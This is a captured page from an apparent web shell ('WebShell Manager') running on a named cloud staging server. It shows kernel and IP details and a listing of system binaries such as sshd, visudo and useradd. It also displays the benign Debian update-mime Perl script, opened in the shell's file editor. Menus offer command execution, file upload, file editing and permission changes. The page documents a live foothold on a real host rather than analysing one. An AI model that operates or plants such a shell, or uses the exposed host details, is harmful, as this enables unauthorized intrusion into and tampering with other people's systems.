WebShell - stagenterprise.ext.atdcloud.com

WebShell Manager

Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.254

HOME

Name	Type	Size	Permissions	Modified	Actions
..	Parent	-	drwxr-xr-x	2025-10-09 12:24:41	-
aa-exec	File	22.16 KB	0755	2023-06-29 11:30:47
aa-remove-unknown	File	2.86 KB	0755	2023-06-29 11:30:39
aa-status	File	7.11 KB	0755	2023-06-29 11:30:39
add-shell	File	695 B	0755	2016-01-26 18:17:55
addgroup	File	36.4 KB	0755	2015-07-02 20:11:22
adduser	File	36.4 KB	0755	2015-07-02 20:11:22
apparmor_status	File	7.11 KB	0755	2023-06-29 11:30:39
arp	File	54.09 KB	0755	2014-06-30 13:19:24
arpd	File	46.74 KB	0755	2019-04-16 12:37:11
chat	File	26.01 KB	0755	2020-07-23 15:09:52
chgpasswd	File	53.33 KB	0755	2024-02-07 10:59:49
chpasswd	File	49.43 KB	0755	2024-02-07 10:59:49
chroot	File	38.8 KB	0755	2017-03-02 18:07:22
cpgr	File	51.48 KB	0755	2024-02-07 10:59:49
cppw	File	51.48 KB	0755	2024-02-07 10:59:49
cron	File	43.43 KB	0755	2022-05-10 22:15:25
delgroup	File	16.13 KB	0755	2015-07-02 20:11:22
deluser	File	16.13 KB	0755	2015-07-02 20:11:22
dnsmasq	File	452.91 KB	0755	2024-04-23 19:46:09
dpkg-divert	File	0 B	0	1970-01-01 00:00:00
dpkg-preconfigure	File	3.52 KB	0755	2019-05-08 18:33:33
dpkg-reconfigure	File	4.23 KB	0755	2019-05-08 18:33:33
dpkg-statoverride	File	0 B	0	1970-01-01 00:00:00
e2freefrag	File	10.24 KB	0755	2022-06-03 20:47:31
e4defrag	File	26.53 KB	0755	2022-06-03 20:47:31
faillock	File	14.4 KB	0755	2024-03-19 16:18:59
fanatic	File	35.21 KB	0755	2017-12-12 16:13:01
fanctl	File	41.97 KB	0755	2019-04-23 10:35:14
fdformat	File	22.57 KB	0755	2022-06-14 21:28:54
filefrag	File	14.31 KB	0755	2022-06-03 20:47:31
genl	File	46.69 KB	0755	2019-04-16 12:37:11
groupadd	File	57.42 KB	0755	2024-02-07 10:59:49
groupdel	File	65.83 KB	0755	2024-02-07 10:59:49
groupmod	File	67.7 KB	0755	2024-02-07 10:59:49
grpck	File	53.31 KB	0755	2024-02-07 10:59:49
grpconv	File	49.19 KB	0755	2024-02-07 10:59:49
grpunconv	File	49.2 KB	0755	2024-02-07 10:59:49
iconvconfig	File	26.66 KB	0755	2025-02-07 13:34:28
invoke-rc.d	File	19.41 KB	0755	2016-11-29 17:28:22
ip6tables-apply	File	6.85 KB	0755	2016-02-19 15:20:21
iptables-apply	File	6.85 KB	0755	2016-02-19 15:20:21
ldattach	File	26.63 KB	0755	2022-06-14 21:28:54
logrotate	File	63.11 KB	0755	2017-08-10 15:16:07
mkinitramfs	File	10.24 KB	0755	2019-10-07 10:53:35
mklost+found	File	10.25 KB	0755	2022-06-03 20:47:31
netplan	File	17.94 KB	0755	2019-09-27 16:27:57
newusers	File	73.84 KB	0755	2024-02-07 10:59:49
nfnl_osf	File	14.37 KB	0755	2016-02-19 15:21:11
nologin	File	5.95 KB	0755	2024-02-07 10:59:50
pam-auth-update	File	19.09 KB	0755	2024-03-19 16:16:59
pam_getenv	File	2.82 KB	0755	2024-03-19 16:16:59
pam_timestamp_check	File	10.38 KB	0755	2024-03-19 16:18:59
pppd	File	385.73 KB	4754	2020-07-23 15:09:52
pppdump	File	18.1 KB	0755	2020-07-23 15:09:52
pppoe-discovery	File	18 KB	0755	2020-07-23 15:09:52
pppstats	File	13.99 KB	0755	2020-07-23 15:09:51
pwck	File	45.36 KB	0755	2024-02-07 10:59:49
pwconv	File	41.27 KB	0755	2024-02-07 10:59:49
pwunconv	File	36.43 KB	0755	2024-02-07 10:59:49
readprofile	File	14.52 KB	0755	2022-06-14 21:28:54
remove-shell	File	749 B	0755	2016-01-26 18:17:55
rfkill	File	10.29 KB	0755	2018-06-20 11:54:19
rmt	File	54.95 KB	0755	2023-12-06 12:12:24
rmt-tar	File	54.95 KB	0755	2023-12-06 12:12:24
rsyslogd	File	585.28 KB	0755	2022-05-23 17:31:02
rtcwake	File	38.8 KB	0755	2022-06-14 21:28:54
service	File	9.82 KB	0755	2016-09-12 08:57:57
setvesablank	File	10.27 KB	0755	2016-09-22 17:33:23
sshd	File	772.48 KB	0755	2025-02-18 15:23:47
tarcat	File	936 B	0755	2023-12-06 12:12:23
tunelp	File	22.53 KB	0755	2022-06-14 21:28:54
tzconfig	File	106 B	0755	2025-04-03 16:57:11
update-alternatives	File	46.61 KB	0755	2022-05-27 10:37:03
update-ca-certificates	File	5.25 KB	0755	2024-09-25 19:45:49
update-initramfs	File	8.38 KB	0755	2019-10-07 10:53:35
update-mime	File	8.84 KB	0755	2015-10-30 15:39:30
update-passwd	File	30.41 KB	0755	2016-01-02 23:13:25
update-rc.d	File	14.1 KB	0755	2016-02-29 12:24:38
useradd	File	118.72 KB	0755	2024-02-07 10:59:49
userdel	File	81.92 KB	0755	2024-02-07 10:59:49
usermod	File	118.5 KB	0755	2024-02-07 10:59:49
vcstime	File	6.26 KB	0755	2016-09-22 17:33:23
vigr	File	55.7 KB	0755	2024-02-07 10:59:49
vipw	File	55.7 KB	0755	2024-02-07 10:59:49
visudo	File	187.89 KB	0755	2025-06-26 17:58:07
zic	File	50.54 KB	0755	2025-02-07 13:34:28

#! /usr/bin/perl
###############################################################################
#
#  Update-MIME:  Install programs into "/etc/mailcap", resolve conflicts,
#                auto-uninstall, make dinner, and wash dishes.
#
#  Written by Brian White <bcwhite@pobox.com>.
#
#  This program has been placed in the public domain (the only true "free").
#  Do whatever you wish with it, though I'd appreciate it if my name stayed
#  on it as the original author.
#
###############################################################################

umask(022);

#
# Program Constants
#
$debug		= 0;
$conffile	= "/etc/update-mime.conf";
$mailcap	= "/etc/mailcap";
$mailcapdef	= "/usr/lib/mime/mailcap";
$mimedir	= "/usr/lib/mime/packages";
$appsdir	= "/usr/share/applications";
$orderfile	= "/etc/mailcap.order";
$defpriority    = 5;
$localgen	= 0;

# If the call comes from dpkg, only accept it if --triggered is passed
# This is so that we don't get useless calls from packages' postinsts
# that call update-mime due to dh_installmime adding that call for
# when there was no triggers support.
#
# When this 'hack' is removed, mime-support's postinst should be updated
# to not pass --triggered anymore in 'triggered'.
if ($ENV{"DPKG_RUNNING_VERSION"} ne "" && $ARGV[0] ne "--triggered") {
    exit (0);
}

# Allow local run
if ($ARGV[0] eq "--local") {
    $conffile	= "$ENV{HOME}/.update-mime.conf";
    $mailcap	= "$ENV{HOME}/.mailcap";
    $orderfile	= "$ENV{HOME}/.mailcap.order";
    $localgen	= 1;
}

#
# Allow local customizations
#
do $conffile if -f $conffile;

#
# Global Variables
#
%entries;
%packages;
%priorities;
@order;
$counter=1;

sub ReadEntries
{
	my($pkg,$priority);

#	foreach $file (glob "$mimedir/*") {
	foreach $file (map { glob $_.'/*' } split ':',$mimedir) {
		next if ($file =~ m!(^|/)(\.|\#)|(\~)$!);
		($pkg) = ($file =~ m|/([^/]*)$|);
		print STDERR "$pkg:\n" if $debug;

if (!defined $packages{$pkg}) {
			$packages{$pkg} = [];
		}

if (open(FILE,"<$file")) {
			while (<FILE>) {
				chomp;
				next if m/^\s*$|^\s*\#/;
				if (! m(^[a-zA-Z0-9*][a-zA-Z0-9!#\$&^_.+-]*/[a-zA-Z0-9*][a-zA-Z0-9!#\$&^_.+-]*;) ) {
					print STDERR "Warning: mailcap line not starting with a media type in $pkg\n";
					print STDERR "Problematic line: $_\n";
				}
				if (m/priority\s*=\s*(\d+)\s*($|;)/i) {
					$priority=$1;
				} else {
					$priority=$defpriority;
				}
				if ($priority < 0 || $priority > 9) {
					print STDERR "Error: priority of $priority is out of range (0 <= pri <= 9)\n";
					print STDERR "       $_\n";
					$priority=$defpriority;
				}
				$entries{$counter} = $_;
				push @{$packages{$pkg}},$counter;
				push @{$priorities{$priority}},$counter;
				print STDERR "$counter: $_\n" if $debug;
				$counter++;
			}
			close(FILE);
		} else {
			print STDERR "Warning: could not open file '$file' -- $!\n";
		}
	}
}

sub RecurseIntoDirectories
{
	my @files;
	foreach my $dir (@_) {
		next if ($dir =~ m!(^|/)(\.|\#)|(\~)$!);
		my @entries = glob "$dir/*";
		push @files, RecurseIntoDirectories(grep { -d $_ } @entries);
		push @files, grep { -f $_ } @entries;
	}
	return @files;
}

sub ReadDesktopEntries
{
	my($pkg,$priority);

foreach $file (RecurseIntoDirectories(split ':',$appsdir)) {
		next if ($file =~ m!(^|/)(\.|\#)|(\~)$!);
		next unless ($file =~ m/\.desktop$/);
		($pkg) = ($file =~ m|/([^/]*)\.desktop$|);
		print STDERR "$pkg:\n" if $debug;

next if (defined $packages{$pkg});
		$packages{$pkg} = [];

if (open(FILE,"<$file")) {
			my($terminal, $name, $icon, $exec, @types) = ("test=test -n \"\$DISPLAY\"", $pkg);
			while (<FILE>) {
				chomp;
				next if (m/^\s*$|^\s*\#/);
				if (m/^Terminal=(\w+)/i) {
					$terminal = "needsterminal" if ($1 eq "true");
				}
				elsif (m/^Name=(.+)/i) {
					$name = $1;
				}
				elsif (m/^Icon=(.+)/i) {
					$icon = $1;
				}
				elsif (m/Exec=(.*)$/i) {
					$exec = $1;
					$exec =~ s/%[fFuU]/%s/g;
					$exec .= " %s" if ($exec !~ m/%s/);
				}
				elsif (m/MimeType=(.*)/i) {
					push @types, split(/;/, $1);
				}
			}
			if (!defined($exec) || !scalar(@types)) {
				close(FILE);
				next;
			}
			$exec =~ s/%c/$name/g;
			$exec =~ s/%i/--icon $icon/g;
			foreach $type (@types) {
				my $entry = "$type; $exec; $terminal";
				$priority=$defpriority;
				$entries{$counter} = $entry;
				push @{$packages{$pkg}},$counter;
				push @{$priorities{$priority}},$counter;
				print STDERR "$counter: $entry\n" if $debug;
				$counter++;
			}
			close(FILE);
		} else {
			print STDERR "Warning: could not open file '$file' -- $!\n";
		}
	}
}

sub ReadOrder
{
	if (-e $orderfile) {
		if (open(FILE,"<$orderfile")) {
			while (<FILE>) {
				chomp;
				s/\s*\#.*$//;
				next if m/^\s*$/;
				push @order,$_;
				/(.*):/;
				my $pkg = $1;
				unless( grep {/^$pkg$/} keys(%packages)) {
					print STDERR "Warning: package $pkg listed in /etc/mailcap.order does not have mailcap entries.\n";
				}
			}
			close(FILE);
		} else {
			print STDERR "Warning: could not open file '$orderfile' -- $!\n";
		}
	}
}

sub OrderEntries
{
	my(@entrylist,@orderlist,@templist,$priority,$entrycode,$ordercode);

foreach $priority (sort {$b <=> $a} keys %priorities) {
		print STDERR " - Priority $priority:" if $debug;
		@templist = @{$priorities{$priority}};
		@templist = sort {
			$ae  = $entries{$a};
			$ac  = 0;
			$ac += 1 if $ae =~ m!^\S+/\*!;
			$ac += 2 if $ae =~ m!^\*/!;
			$be  = $entries{$b};
			$bc  = 0;
			$bc += 1 if $be =~ m!^\S+/\*!;
			$bc += 2 if $be =~ m!^\*/!;
			$ac <=> $bc;
		} @templist;
		foreach $entry (@templist) {
			print STDERR " $entry" if $debug;
			push @entrylist,$entry;
		}
		print STDERR "\n" if $debug;
	}

print STDERR "entrylist: @entrylist\n" if $debug;
	foreach $ordercode (@order) {
		my($pkg,$typ);
		if ($ordercode =~ m/:/) {
			($pkg,$typ) = ($ordercode =~ m/^(.*):(\S*)/);
		} else {
			$pkg = $ordercode;
			$typ = "*/*";
		}
		$typ = "*/*" unless $typ;
		print STDERR " - Ordering '$ordercode'...  (package=$pkg, type=$typ, orderlist=@orderlist)\n" if $debug;
		$typ =~ s/\*/\.\*/g;
		foreach $entrycode (@entrylist) {
			next if grep(/^\Q$entrycode\E$/,@orderlist);
			print STDERR "    - Checking entrycode '$entrycode' against (@{$packages{$pkg}})...\n" if $debug;
			if (grep(/^\Q$entrycode\E$/,@{$packages{$pkg}})) {
				$entry = $entries{$entrycode};
				my($etype) = ($entry =~ m/^(.*?)(;|\s)/);
				print STDERR "       - entry found, type=$etype, checking against '$typ'\n" if $debug;
				if ($etype =~ m!^$typ$!) {
#					print STDERR "       - matched!\n" if $debug;
#					my($oaction) = ($ordercode =~ m/action=([^\s;]*)/i);
#					my($eaction) = ($entry     =~ m/action=([^\s;]*)/i);
#					$eaction="view" unless $eaction;
#					print STDERR "       - checking entry action '$eaction' against '$oaction'\n" if $debug;
#					if (!$oaction || $eaction =~ m/^($oaction)$/) {
						push @orderlist,$entrycode;
						print STDERR "       - matched!  (orderlist=@orderlist)\n" if $debug;
#					}
				}
			}
		}
	}

foreach $entrycode (@entrylist) {
		next if grep(/^\Q$entrycode\E$/,@orderlist);
		push @orderlist,$entrycode;
	}

print STDERR "orderlist: @orderlist\n" if $debug;
	return @orderlist;
}

#
# Generate new mailcap file
#
sub UpdateMailcap
{
	my(@entrylist) = @_;
	my(@above,@user,@below,$state,$entrycode);
	$state = 0;
	if (!open(PATH,"<$mailcap")) {
		if (!open(PATH,"<$mailcapdef")) {
#			print STDERR "Warning: could not read '$mailcap' (update stopped) -- $!\n";
#			print STDERR "         restore from backup or delete and re-install mime-support package";
			return;
		}
	}

while (<PATH>) {
		s/install-mime/update-mime/g;
		if ($state == 0) {
			push @above,$_;
		}
		$state=2 if ($state == 1 && /^\# ----- .* Ends /);
		if ($state == 1) {
			push @user,$_;
		}
		$state=1 if ($state == 0 && /^\# ----- .* Begins /);
		if ($state == 2) {
			push @below,$_;
		}
		$state=3 if ($state == 2);
	}

close PATH;

if ($state == 3) {
		my $newfile = join('',@above,@user,@below);
		$newfile .= "\n###############################################################################\n\n";
		foreach $entrycode (@entrylist) {
			my $entry = $entries{$entrycode};
			$entry =~ s/\s*priority\s*=\s*\d+\s*($|;)//;
			$entry =~ s/\s*;\s*$//;
			$newfile .= $entry."\n";
		}

if (!open(PATH,">$mailcap.new")) {
			print STDERR "Error: could not write '$mailcap.new' -- $!\n";
			exit(1) unless ($debug);
			open(PATH,">-");
		}
		print PATH $newfile;
		close PATH;
		if (!open(PATH,"<$mailcap.new")) {
			die "Error: could not read generated '$mailcap.new' -- $!\n";
		}
		my $savfile = "";
		$savfile .= $_ while (<PATH>);
		if ($savfile ne $newfile) {
			die "Error: contents of '$mailcap.new' do not match what was written -- abort\n";
		}
		rename "$mailcap.new","$mailcap";
	} else {
		print STDERR "Error: '$mailcap' is not in required format -- not updated\n";
		print STDERR "       Restore from backup or delete and re-install mime-support package";
	}
}

ReadEntries();
ReadDesktopEntries();
ReadOrder();
@list = OrderEntries();
UpdateMailcap(@list);

WebShell Manager

Command Execution

File Upload

WebShell Manager

Command Execution

File Upload

Create New Folder

Create New File

Edit File: update-mime

Rename

Change Permissions

System Information